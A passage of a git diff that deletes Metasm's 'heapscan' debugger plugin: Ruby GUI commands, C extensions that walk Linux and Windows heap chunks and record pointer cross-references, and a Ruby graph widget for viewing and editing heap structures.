= LinuxHeap.new(self) - @heap.cp = @disassembler.c_parser - @heap.mmaps = mmaps - @heap.scan_libc(libc) - heapscan_time "libc!main_arena #{'%x' % @heap.main_arena_ptr}" - end - - hsz = 0 - (heaps + mmaps).each { |a, l| - hsz += l - @heap.range.update a => l - } - - log "#{hsz/1024/1024}M heap" - - @heap.scan_chunks - heapscan_time "#{@heap.chunks.length} chunks" - return if not xr - - @heap.scan_chunks_xr - heapscan_time "#{@heap.xrchunksto.length} src, #{@heap.xrchunksfrom.length} dst" -end - -def heapscan_structs - heapscan_time - @heap.bucketize - heapscan_time "#{@heap.buckets.length} buckets" - - @heap.find_arrays - heapscan_time "#{@heap.allarrays.length} arrays (#{@heap.allarrays.flatten.length} elems)" - - @heap.find_linkedlists - heapscan_time "#{@heap.alllists.length} lists (#{@heap.alllists.flatten.length} elems)" -end - -def heapscan_kernels - heapscan_time - @heap.find_kernels - heapscan_time "#{@heap.kernels.length} kernels" -end - -def heapscan_roots - heapscan_time - @heap.find_roots - heapscan_time "#{@heap.roots.length} roots" -end - -def heapscan_graph - heapscan_time - @heap.dump_graph - heapscan_time 'graph.gv' -end - -def gui_show_list(addr) - a = resolve(addr) - #@heap.cp.parse("struct ptr { void *ptr; };") if not @heap.cp.toplevel.struct['ptr'] - h = @heap.linkedlists[a] - off = h.keys.first - lst = h[off] - - if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first - st = Metasm::C::Struct.new - st.name = "list_#{'%x' % lst.first}" - st.members = [] - (@heap.chunks[lst.first] / 4).times { |i| - n = "u#{i}" - t = Metasm::C::BaseType.new(:int) - if i == off/4 - n = "next" - t = Metasm::C::Pointer.new(st) - end - st.members << Metasm::C::Variable.new(n, t) - } - @heap.cp.toplevel.struct[st.name] = st - end - lst.each { |l| @heap.chunk_struct[l] = st } - - $ghw.addr_struct = {} - lst.each { |aa| - $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) - } - gui.parent_widget.mem.focus_addr(lst.first, :graphheap) -end - -def gui_show_array(addr) - head = resolve(addr) - e = @heap.xrchunksto[head].to_a.find { |ee| @heap.arrays[ee] and @heap.arrays[ee][head] } - return if not e - lst = @heap.arrays[e][head] - - if not st = @heap.chunk_struct[head] - st = Metasm::C::Struct.new - st.name = "array_#{'%x' % head}" - st.members = [] - (@heap.chunks[head] / 4).times { |i| - n = "u#{i}" - v = @memory[head+4*i, 4].unpack('L').first - if @heap.chunks[v] - t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) - else - t = Metasm::C::BaseType.new(:int) - end - st.members << Metasm::C::Variable.new(n, t) - } - @heap.cp.toplevel.struct[st.name] ||= st - end - @heap.chunk_struct[head] = st - - $ghw.addr_struct = { head => @heap.cp.decode_c_struct(st.name, @memory, head) } - - if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first - e = lst.first - st = Metasm::C::Struct.new - st.name = "elem_#{'%x' % head}" - st.members = [] - (@heap.chunks[e] / 4).times { |i| - n = "u#{i}" - v = @memory[e+4*i, 4].unpack('L').first - if @heap.chunks[v] - t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) - else - t = Metasm::C::BaseType.new(:int) - end - st.members << Metasm::C::Variable.new(n, t) - } - @heap.cp.toplevel.struct[st.name] ||= st - end - lst.each { |l| @heap.chunk_struct[l] = st } - - lst.each { |aa| - $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) - } - gui.parent_widget.mem.focus_addr(head, :graphheap) -end - - -if gui - require File.join($heapscan_dir, 'graphheap') - $ghw = Metasm::Gui::GraphHeapWidget.new(@disassembler, gui.parent_widget.mem) - gui.parent_widget.mem.addview :graphheap, $ghw - $ghw.show if $ghw.respond_to?(:show) - - gui.new_command('heap_scan', 'scan the heap(s)') { |*a| heapscan_scan ; $ghw.heap = @heap } - gui.new_command('heap_scan_noxr', 'scan the heap(s), no xrefs') { |*a| heapscan_scan(false) ; $ghw.heap = @heap } - gui.new_command('heap_scan_xronly', 'scan the heap(s) for xrefs') { |*a| $ghw.heap.scan_chunks_xr } - gui.new_command('heap_scanstructs', 'scan the heap for arrays/lists') { |*a| heapscan_structs } - gui.new_command('heap_list', 'show a linked list') { |a| - if a.to_s != '' - gui_show_list(a) - else - l = [['addr', 'len']] - @heap.alllists.each { |al| - l << [Expression[al.first], al.length] - } - gui.listwindow('lists', l) { |*aa| gui_show_list(aa[0][0]) } - end - } - gui.new_command('heap_array', 'show an array') { |a| - if a.to_s != '' - gui_show_array(a) - else - l = [['addr', 'len']] - @heap.allarrays.each { |al| - l << [Expression[al.first], al.length] - } - gui.listwindow('arrays', l) { |*aa| gui_show_array(aa[0][0]) } - end - } - gui.new_command('heap_chunk', 'show a chunk') { |a| - a = resolve(a) - gui.parent_widget.mem.focus_addr(a, :graphheap) - $ghw.do_focus_addr(a) - } - gui.new_command('heap_strscan', 'scan a string') { |a| - sa = pattern_scan(a) - log "found #{sa.length} strings : #{sa.map { |aa| Expression[aa] }.join(' ')}" - sa.each { |aa| - next if not ck = @heap.find_chunk(aa) - log "ptr #{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" - } - } - gui.new_command('heap_ptrscan', 'scan a pointer') { |a| - a = resolve(a) - if @heap.chunks[a] - pa = @heap.xrchunksfrom[a].to_a - else - pa = pattern_scan(Expression.encode_imm(a, @cpu.size/8, @cpu.endianness)) - end - log "found #{pa.length} pointers : #{pa.map { |aa| Expression[aa] }.join(' ')}" - pa.each { |aa| - next if not ck = @heap.find_chunk(aa) - log "ptr @#{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" - } - } - - gui.new_command('heap_snap', 'snapshot the current heap struct') { |a| - $ghw.snap - } - gui.new_command('heap_snap_add', 'snapshot, ignore fields changed between now and last snap') { |a| - $ghw.snap_add - } -end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c deleted file mode 100644 index 1ce164ee66..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c +++ /dev/null @@ -1,155 +0,0 @@ -#ifdef __ELF__ -asm .pt_gnu_stack rw; -#endif -typedef uintptr_t VALUE; -static VALUE const_File; -static VALUE const_LinuxHeap; -VALUE rb_ary_new(void); -VALUE rb_ary_push(VALUE, VALUE); -extern VALUE *rb_cObject __attribute__((import)); -VALUE rb_const_get(VALUE, VALUE); -void rb_define_method(VALUE, char*, VALUE(*)(), int); -VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); -VALUE rb_gv_get(const char*); -VALUE rb_intern(char*); -VALUE rb_ivar_get(VALUE, unsigned int); -VALUE rb_iv_get(VALUE, char*); -void *rb_method_node(VALUE, unsigned int); -VALUE rb_obj_as_string(VALUE); -VALUE rb_str_append(VALUE, VALUE); -VALUE rb_str_cat2(VALUE, const char*); -VALUE rb_str_new2(const char*); -VALUE rb_hash_aset(VALUE, VALUE, VALUE); -VALUE rb_hash_aref(VALUE, VALUE); -VALUE rb_uint2inum(VALUE); -VALUE rb_num2ulong(VALUE); -char *rb_string_value_ptr(VALUE*); - - -int printf(char*, ...); - -static VALUE heap_entry(void *heap, VALUE idx, VALUE psz) -{ - if (psz == 4) - return (VALUE)(((__int32*)heap)[idx]); - return (VALUE)(((__int64*)heap)[idx]); -} - -static VALUE m_LinuxHeap23scan_heap(VALUE self, VALUE vbase, VALUE vlen, VALUE ar) -{ - VALUE *heap; - VALUE chunks; - VALUE base = rb_num2ulong(vbase); - VALUE len = vlen >> 1; - VALUE sz, clen; - VALUE page; - VALUE psz = rb_iv_get(self, "@ptsz") >> 1; - VALUE ptr = 0; - - chunks = rb_iv_get(self, "@chunks"); - page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); - heap = rb_string_value_ptr(&page); - - sz = heap_entry(heap, 1, psz); - if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) - return 4; - - base += 8; - - for (;;) { - clen = sz & -8; - ptr += clen/psz; - if (ptr >= len/psz || clen == 0) - break; - - sz = heap_entry(heap, ptr+1, psz); - if (sz & 1) - rb_hash_aset(chunks, rb_uint2inum(base), ((clen-psz)<<1)|1); - base += clen; - } - - rb_funcall(self, rb_intern("del_fastbin"), 1, ar); - - return 4; -} - - - -static VALUE m_LinuxHeap23scan_heap_xr(VALUE self, VALUE vbase, VALUE vlen) -{ - VALUE *heap; - VALUE chunks, xrchunksto, xrchunksfrom; - VALUE psz = rb_iv_get(self, "@ptsz") >> 1; - VALUE base = rb_num2ulong(vbase) + 2*psz; - VALUE len = vlen >> 1; - VALUE sz, clen; - VALUE page; - - chunks = rb_iv_get(self, "@chunks"); - xrchunksto = rb_iv_get(self, "@xrchunksto"); - xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); - page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); - heap = rb_string_value_ptr(&page); - - sz = heap_entry(heap, 1, psz); - if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) - return 4; - - /* re-walk the heap, simpler than iterating over @chunks */ - VALUE ptr = 0; - VALUE ptr0, ptrl; - for (;;) { - clen = sz & -8; - ptr0 = ptr+2; - ptrl = clen/psz-1; - ptr += clen/psz; - if (ptr >= len/psz || clen == 0) - break; - - sz = heap_entry(heap, ptr+1, psz); - if ((sz & 1) && - ((rb_hash_aref(chunks, rb_uint2inum(base))|4) != 4)) { - VALUE tabto = 0; - VALUE tabfrom; - while (ptrl--) { - VALUE p = heap_entry(heap, ptr0++, psz); - //if (p == base) // ignore self-references - // continue; - if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { - if (!tabto) { - tabto = rb_ary_new(); - rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); - } - rb_ary_push(tabto, rb_uint2inum(p)); - - tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); - if ((tabfrom|4) == 4) { - tabfrom = rb_ary_new(); - rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); - } - rb_ary_push(tabfrom, rb_uint2inum(base)); - } - } - } - base += clen; - } - return 4; -} - - - -static void do_init_once(void) -{ - const_LinuxHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); - const_LinuxHeap = rb_const_get(const_LinuxHeap, rb_intern("LinuxHeap")); - rb_define_method(const_LinuxHeap, "scan_heap", m_LinuxHeap23scan_heap, 3); - rb_define_method(const_LinuxHeap, "scan_heap_xr", m_LinuxHeap23scan_heap_xr, 2); -} - - - -int Init_compiled_heapscan_lin __attribute__((export))(void) -{ - do_init_once(); - return 0; -} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c deleted file mode 100644 index f29c24ec8e..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c +++ /dev/null @@ -1,128 +0,0 @@ -typedef uintptr_t VALUE; -static VALUE const_WindowsHeap; -VALUE rb_ary_new(void); -VALUE rb_ary_push(VALUE, VALUE); -extern VALUE *rb_cObject __attribute__((import)); -VALUE rb_const_get(VALUE, VALUE); -void rb_define_method(VALUE, char*, VALUE(*)(), int); -VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); -VALUE rb_intern(char*); -VALUE rb_iv_get(VALUE, char*); -VALUE rb_hash_aset(VALUE, VALUE, VALUE); -VALUE rb_hash_aref(VALUE, VALUE); -VALUE rb_uint2inum(VALUE); -VALUE rb_num2ulong(VALUE); -char *rb_string_value_ptr(VALUE*); -VALUE rb_gc_enable(void); -VALUE rb_gc_disable(void); - -#include "winheap.h" - -#define INT2FIX(i) (((i) << 1) | 1) - -static VALUE m_WindowsHeap23scan_heap_segment(VALUE self, VALUE vfirst, VALUE vlen) -{ - char *heapcpy; - struct _HEAP_ENTRY *he; - VALUE chunks; - VALUE first = rb_num2ulong(vfirst); - VALUE len = vlen >> 1; - VALUE off; - VALUE page; - VALUE sz; - - chunks = rb_iv_get(self, "@chunks"); - page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); - heapcpy = rb_string_value_ptr(&page); - - rb_gc_disable(); - off = 0; - while (off < len) { - he = heapcpy + off; - if (he->Flags & 1) { - sz = (VALUE)he->Size*8; - if (sz > he->UnusedBytes) - sz -= he->UnusedBytes; - else - sz = 0; - rb_hash_aset(chunks, rb_uint2inum(first+off+sizeof(*he)), INT2FIX(sz)); - } - off += he->Size*8; - } - rb_gc_enable(); - - return 4; -} - -static VALUE m_WindowsHeap23scan_heap_segment_xr(VALUE self, VALUE vfirst, VALUE vlen) -{ - char *heapcpy; - struct _HEAP_ENTRY *he; - VALUE chunks; - VALUE first = rb_num2ulong(vfirst); - VALUE len = vlen >> 1; - VALUE off; - VALUE page; - VALUE xrchunksto = rb_iv_get(self, "@xrchunksto"); - VALUE xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); - - chunks = rb_iv_get(self, "@chunks"); - page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); - heapcpy = rb_string_value_ptr(&page); - - rb_gc_disable(); - off = 0; - VALUE *ptr0, base, cklen; - while (off < len) { - he = heapcpy + off; - // address of the chunk - base = first + off + sizeof(*he); - if ((he->Flags & 1) && - (((cklen = rb_hash_aref(chunks, rb_uint2inum(base)))|4) != 4)) { - cklen /= 2*sizeof(void*); // /2 == FIX2INT - // pointer to the data for the chunk in our copy of the heap from pagecache - ptr0 = (VALUE*)(heapcpy + off + sizeof(*he)); - VALUE tabto = 0; - VALUE tabfrom; - while (cklen--) { - VALUE p = *ptr0++; - //if (p == base) // ignore self-references - // continue; - if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { - if (!tabto) { - tabto = rb_ary_new(); - rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); - } - rb_ary_push(tabto, rb_uint2inum(p)); - - tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); - if ((tabfrom|4) == 4) { - tabfrom = rb_ary_new(); - rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); - } - rb_ary_push(tabfrom, rb_uint2inum(base)); - } - } - } - if (!he->Size) - break; - off += he->Size*8; - } - rb_gc_enable(); - - return 4; -} - -static void do_init_once(void) -{ - const_WindowsHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); - const_WindowsHeap = rb_const_get(const_WindowsHeap, rb_intern("WindowsHeap")); - rb_define_method(const_WindowsHeap, "scan_heap_segment", m_WindowsHeap23scan_heap_segment, 2); - rb_define_method(const_WindowsHeap, "scan_heap_segment_xr", m_WindowsHeap23scan_heap_segment_xr, 2); -} - -int Init_compiled_heapscan_win __attribute__((export))(void) -{ - do_init_once(); - return 0; -} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb deleted file mode 100644 index 9786fe5df2..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb +++ /dev/null @@ -1,616 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module ::Metasm -module Gui -class GraphHeapWidget < GraphViewWidget - attr_accessor :heap, :addr_struct, :snapped - # addr_struct = 0x234 => AllocCStruct - - def set_color_arrow(b1, b2) - if b1 == @caret_box or b2 == @caret_box - draw_color :arrow_hl - else - draw_color :arrow_cond - end - end - - def setup_contextmenu(b, m) - addsubmenu(m, '_follow pointer') { - next if not lm = b[:line_member][@caret_y] - addr = b[:line_struct][@caret_y][lm] - next if not @heap.chunks[addr] - if lm.kind_of?(::Integer) - t = b[:line_struct][@caret_y].struct.type - else - t = lm.type - end - if t.pointer? and t.pointed.untypedef.kind_of? C::Union - @heap.chunk_struct[addr] ||= t.pointed.untypedef - end - st = @heap.chunk_struct[addr] || create_struct(addr) - ed = @dasm.get_edata_at(addr) - @addr_struct[addr] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) - gui_update - } - addsubmenu(m, '_hide box') { - @selected_boxes.each { |sb| - @addr_struct.delete sb.id if @addr_struct.length > 1 - } - @curcontext.root_addrs = struct_find_roots(@addr_struct.keys.first) - gui_update - } - super(b, m) - end - - def keypress(k) - case k - when ?u - # update display (refresh struct member values) - @parent_widget.parent_widget.console.commands['refresh'][] - gui_update - when ?t - # change struct field type - if @selected_boxes.length > 1 - # mass-retype chunks - st = @addr_struct[@selected_boxes[0].id].struct - inputbox("replacement struct for selected chunks", :text => st.name) { |n| - next if not nst = @heap.cp.toplevel.struct[n] - @selected_boxes.each { |sb| - as = @addr_struct[sb.id] - @heap.chunk_struct[sb.id] = nst - @addr_struct[sb.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) - } - gui_update - } - elsif b = @caret_box - if @caret_y == 0 - as = @addr_struct[b.id] - st = as.struct - inputbox("replacement struct for #{st.name}", :text => st.name) { |n| - next if not nst = @heap.cp.toplevel.struct[n] - @heap.chunk_struct[b.id] = nst - @addr_struct[b.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) - gui_update - } - elsif m = b[:line_member][@caret_y] - if m.kind_of?(Integer) - # XXX Array, need to find the outer struct - mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] - ar = b[:line_struct][@caret_y] - st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } - raise '?' if not st - st = st.struct - m = st.fldlist[mn] - else - st = b[:line_struct][@caret_y].struct - end - inputbox("new type for #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| - nil while @heap.cp.readtok - @heap.cp.lexer.feed nn - if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) - nil while @heap.cp.readtok - raise 'bad type' - end - v.parse_declarator(@heap.cp, @heap.cp.toplevel) - nt = v.type - nsz = @heap.cp.sizeof(nt) - osz = @heap.cp.sizeof(m) - if nsz > osz and st.kind_of?(C::Struct) - idx = st.members.index(m) - # eat next members - while nsz > osz - break if idx+1 >= st.members.length - sz = @heap.cp.sizeof(st.members.delete_at(idx+1)) - osz += sz - end - end - if nsz < osz and st.kind_of?(C::Struct) - idx = st.members.index(m) - pos = st.offsetof(@heap.cp, m) - # fill gap with bytes - idx += 1 - while nsz < osz - st.members[idx, 0] = [C::Variable.new(('unk_%x' % (pos+nsz)), C::BaseType.new(:__int8, :unsigned))] - idx += 1 - nsz += 1 - end - end - m.type = nt - st.update_member_cache(@heap.cp) - gui_update - } - - end - end - when ?n - # rename struct field - if b = @caret_box - if @caret_y == 0 - st = @addr_struct[b.id].struct - inputbox("new name for #{st.name}", :text => st.name) { |nn| - raise "struct #{nn} already exists (try 't')" if @heap.cp.toplevel.struct[nn] - @heap.cp.toplevel.struct[nn] = @heap.cp.toplevel.struct.delete(st.name) - st.name = nn - gui_update - } - elsif m = b[:line_member][@caret_y] - if m.kind_of?(Integer) - mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] - ar = b[:line_struct][@caret_y] - st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } - raise '?' if not st - st = st.struct - m = st.fldlist[mn] - else - st = b[:line_struct][@caret_y].struct - end - inputbox("new name for #{m.name}", :text => m.name) { |nn| - m.name = nn - st.update_member_cache(@heap.cp) - gui_update - } - end - end - when ?e - # edit struct field value under the cursor - if b = @caret_box - # TODO b[:struct][line], b.[:member][line] (int for Arrays) - st = b[:line_struct][@caret_y] - mb = b[:line_member][@caret_y] - if st and mb - if mb.kind_of?(C::Variable) and mb.type.kind_of?(C::Array) and mb.type.type.kind_of?(C::BaseType) and mb.type.type.name == :char - defval = st[mb].to_array.pack('C*').gsub(/\0*$/, '').gsub(/[^\x20-\x7e]/, '.') - string = true - else - defval = st[mb] - string = false - end - inputbox("new value for #{mb.respond_to?(:name) ? mb.name : mb}", :text => defval.to_s) { |nn| - if string - am = st[mb] - (nn.unpack('C*') + [0]).each_with_index { |b_, i| am[i] = b_ } - else - st[mb] = Expression.parse_string(nn).reduce - end - gui_update - } - end - end - when ?x - # show heap xrefs to the hilighted chunk - if b = @caret_box - list = [['address', 'size']] - @heap.xrchunksfrom[b.id].to_a.each { |a| - list << [Expression[a], Expression[@heap.chunks[a]]] - } - if list.length == 1 - messagebox "no xref to #{Expression[b.id]}" - else - listwindow("heap xrefs to #{Expression[b.id]}", list) { |i| @parent_widget.focus_addr(i[0], nil, true) } - end - end - when ?I - # insert new field in struct - if b = @caret_box - if m = b[:line_member][@caret_y] - if m.kind_of?(Integer) - # XXX Array, need to find the outer struct - mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] - ar = b[:line_struct][@caret_y] - st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } - raise '?' if not st - st = st.struct - m = st.fldlist[mn] - else - st = b[:line_struct][@caret_y].struct - end - inputbox("new type to insert before #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| - nil while @heap.cp.readtok - @heap.cp.lexer.feed nn - if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) - nil while @heap.cp.readtok - raise 'bad type' - end - v.parse_declarator(@heap.cp, @heap.cp.toplevel) - nt = v.type - idx = st.members.index(m) - pos = st.offsetof(@heap.cp, m) - name = oname = v.name || ('unk_%x_new' % pos) - cntr = 0 - while st.members.find { |m_| m_.name == name } - name = oname + "_#{cntr+=1}" - end - st.members[idx, 0] = [C::Variable.new(name, nt)] - st.update_member_cache(@heap.cp) - gui_update - } - - end - end - when ?S - # delete structure field - if b = @caret_box - if m = b[:line_member][@caret_y] - if m.kind_of?(Integer) - # XXX Array, need to find the outer struct - mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] - ar = b[:line_struct][@caret_y] - st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } - raise '?' if not st - st = st.struct - m = st.fldlist[mn] - else - st = b[:line_struct][@caret_y].struct - end - inputbox("delete #{m.name} ?") { |nn| - idx = st.members.index(m) - st.members.delete_at(idx) - st.update_member_cache(@heap.cp) - gui_update - } - - end - end - when ?+ - # append blocks linked from the currently shown blocks to the display - @addr_struct.keys.each { |ak| - @heap.xrchunksto[ak].to_a.each { |nt| - next if @addr_struct[nt] - # TODO check if the pointer is a some_struct* - st = @heap.chunk_struct[nt] || create_struct(nt) - ed = @dasm.get_edata_at(nt) - @addr_struct[nt] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) - } - } - gui_update - when ?- - # remove graph leaves in an attempt to undo ?+ - unk = @addr_struct.keys.find_all { |ak| - (@heap.xrchunksto[ak].to_a & @addr_struct.keys).empty? - } - unk.each { |ak| @addr_struct.delete ak if @addr_struct.length > 1 } - gui_update - else return super(k) - end - true - end - - # create the graph objects in ctx - def build_ctx(ctx) - # create boxes - todo = ctx.root_addrs.dup & @addr_struct.keys - todo << @addr_struct.keys.first if todo.empty? - done = [] - while a = todo.shift - next if done.include? a - done << a - ctx.new_box a, :line_text_col => [], :line_address => [], :line_struct => [], :line_member => [] - todo.concat @heap.xrchunksto[a].to_a & @addr_struct.keys - end - - # link boxes - if (@heap.xrchunksto[ctx.box.first.id].to_a & @addr_struct.keys).length == ctx.box.length - 1 - ot = ctx.box[0].id - ctx.box[1..-1].each { |b_| - ctx.link_boxes(ot, b_.id) - } - else - ctx.box.each { |b| - @heap.xrchunksto[b.id].to_a.each { |t| - ctx.link_boxes(b.id, t) if @addr_struct[t] - } - } - end - - if snapped - @datadiff = {} - end - - # calc box dimensions/text - ctx.box.each { |b| - colstr = [] - curaddr = b.id - curst = @addr_struct[b.id] - curmb = nil - margin = '' - start_addr = curaddr - if snapped - ghosts = snapped[curaddr] - end - line = 0 - render = lambda { |str, col| colstr << [str, col] } - nl = lambda { - b[:line_address][line] = curaddr - b[:line_text_col][line] = colstr - b[:line_struct][line] = curst - b[:line_member][line] = curmb - colstr = [] - line += 1 - } - render_val = lambda { |v| - if v.kind_of?(::Integer) - if v > 0x100 - render['0x%X' % v, :text] - elsif v < -0x100 - render['-0x%X' % -v, :text] - else - render[v.to_s, :text] - end - elsif not v - render['NULL', :text] - else - render[v.to_s, :text] - end - } - render_st = nil - render_st_ar = lambda { |ast, m| - elemt = m.type.untypedef.type.untypedef - if elemt.kind_of?(C::BaseType) and elemt.name == :char - render[margin, :text] - render["#{m.type.type.to_s[1...-1]} #{m.name}[#{m.type.length}] = #{ast[m].to_array.pack('C*').sub(/\0.*$/m, '').inspect}", :text] - nl[] - curaddr += ast.cp.sizeof(m) - else - t = m.type.type.to_s[1...-1] - tsz = ast.cp.sizeof(m.type.type) - fust = curst - fumb = curmb - curst = ast[m] - ast[m].to_array.each_with_index { |v, i| - curmb = i - render[margin, :text] - if elemt.kind_of?(C::Union) - if m.type.untypedef.type.kind_of?(C::Union) - render[elemt.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] - render["#{elemt.name} ", :text] if elemt.name - else # typedef - render["#{elemt.to_s[1...-1]} ", :text] - end - render_st[v] - render[" #{m.name}[#{i}]", :text] - else - render["#{t} #{m.name}[#{i}] = ", :text] - render_val[v] - @datadiff[curaddr] = true if ghosts and ghosts.all? { |g| g[curaddr-start_addr, tsz] == ghosts[0][curaddr-start_addr, tsz] } and ghosts[0][curaddr-start_addr, tsz] != ast.str[curaddr, tsz].to_str - end - render[';', :text] - nl[] - curaddr += tsz - } - curst = fust - curmb = fumb - end - } - render_st = lambda { |ast| - st_addr = curaddr - oldst = curst - oldmb = curmb - oldmargin = margin - render['{', :text] - nl[] - margin += ' ' - curst = ast - ast.struct.members.each { |m| - curmb = m - curaddr = st_addr + ast.struct.offsetof(@heap.cp, m) - - if bo = ast.struct.bitoffsetof(@heap.cp, m) - # float curaddr to make ghost hilight work on bitfields - curaddr += (1+bo[0])/1000.0 - end - - if m.type.untypedef.kind_of?(C::Array) - render_st_ar[ast, m] - elsif m.type.untypedef.kind_of?(C::Union) - render[margin, :text] - if m.type.kind_of?(C::Union) - render[m.type.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] - render["#{m.type.name} ", :text] if m.type.name - else # typedef - render["#{m.type.to_s[1...-1]} ", :text] - end - oca = curaddr - render_st[ast[m]] - nca = curaddr - curaddr = oca - render[" #{m.name if m.name};", :text] - nl[] - curaddr = nca - else - render[margin, :text] - render["#{m.type.to_s[1...-1]} ", :text] - render["#{m.name} = ", :text] - render_val[ast[m]] - tsz = ast.cp.sizeof(m) - # TODO bit-level multighosting - if ghosts and ghosts.all? { |g| g[curaddr.to_i-start_addr, tsz] == ghosts[0][curaddr.to_i-start_addr, tsz] } and ghosts[0][curaddr.to_i-start_addr, tsz] != ast.str[curaddr.to_i, tsz].to_str - if bo - ft = C::BaseType.new((bo[0] + bo[1] > 32) ? :__int64 : :__int32) - v1 = @heap.cp.decode_c_value(ghosts[0][curaddr.to_i-start_addr, tsz], ft, 0) - v2 = @heap.cp.decode_c_value(ast.str[curaddr.to_i, tsz], ft, 0) - @datadiff[curaddr] = true if (v1 >> bo[0]) & ((1 << bo[1])-1) != (v2 >> bo[0]) & ((1 << bo[1])-1) - else - @datadiff[curaddr] = true - end - end - render[';', :text] - - if m.type.kind_of?(C::Pointer) and m.type.type.kind_of?(C::BaseType) and m.type.type.name == :char - if s = @dasm.decode_strz(ast[m], 32) - render[" // #{s.inspect}", :comment] - end - end - nl[] - curaddr += tsz - curaddr = curaddr.to_i if bo - end - } - margin = oldmargin - curst = oldst - curmb = oldmb - render[margin, :text] - render['}', :text] - } - ast = @addr_struct[curaddr] - render["struct #{ast.struct.name} *#{'0x%X' % curaddr} = ", :text] - render_st[ast] - render[';', :text] - nl[] - - b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2 - b.w += 1 if b.w % 2 == 0 - b.h = line * @font_height - } - end - - def struct_find_roots(addr) - addr = @addr_struct.keys.find { |a| addr >= a and addr < a+@addr_struct[a].sizeof } if not @addr_struct[addr] - - todo = [addr] - done = [] - roots = [] - default_root = nil - while a = todo.shift - if done.include?(a) # cycle - default_root ||= a - next - end - done << a - newf = @heap.xrchunksfrom[a].to_a & @addr_struct.keys - if newf.empty? - roots << a - else - todo.concat newf - end - end - roots << default_root if roots.empty? and default_root - - roots - end - - def focus_addr(addr, fu=nil) - return if @parent_widget and not addr = @parent_widget.normalize(addr) - - # move window / change curcontext - if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) } - @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr) - @curcontext.view_x += (width/2 / @zoom - width/2) - @curcontext.view_y += (height/2 / @zoom - height/2) - @zoom = 1.0 - - focus_xy(b.x, b.y + @caret_y*@font_height) - update_caret - elsif addr_struct and (@addr_struct[addr] or @addr_struct.find { |a, s| addr >= a and addr < a+s.sizeof }) - @curcontext = Graph.new 'testic' - @curcontext.root_addrs 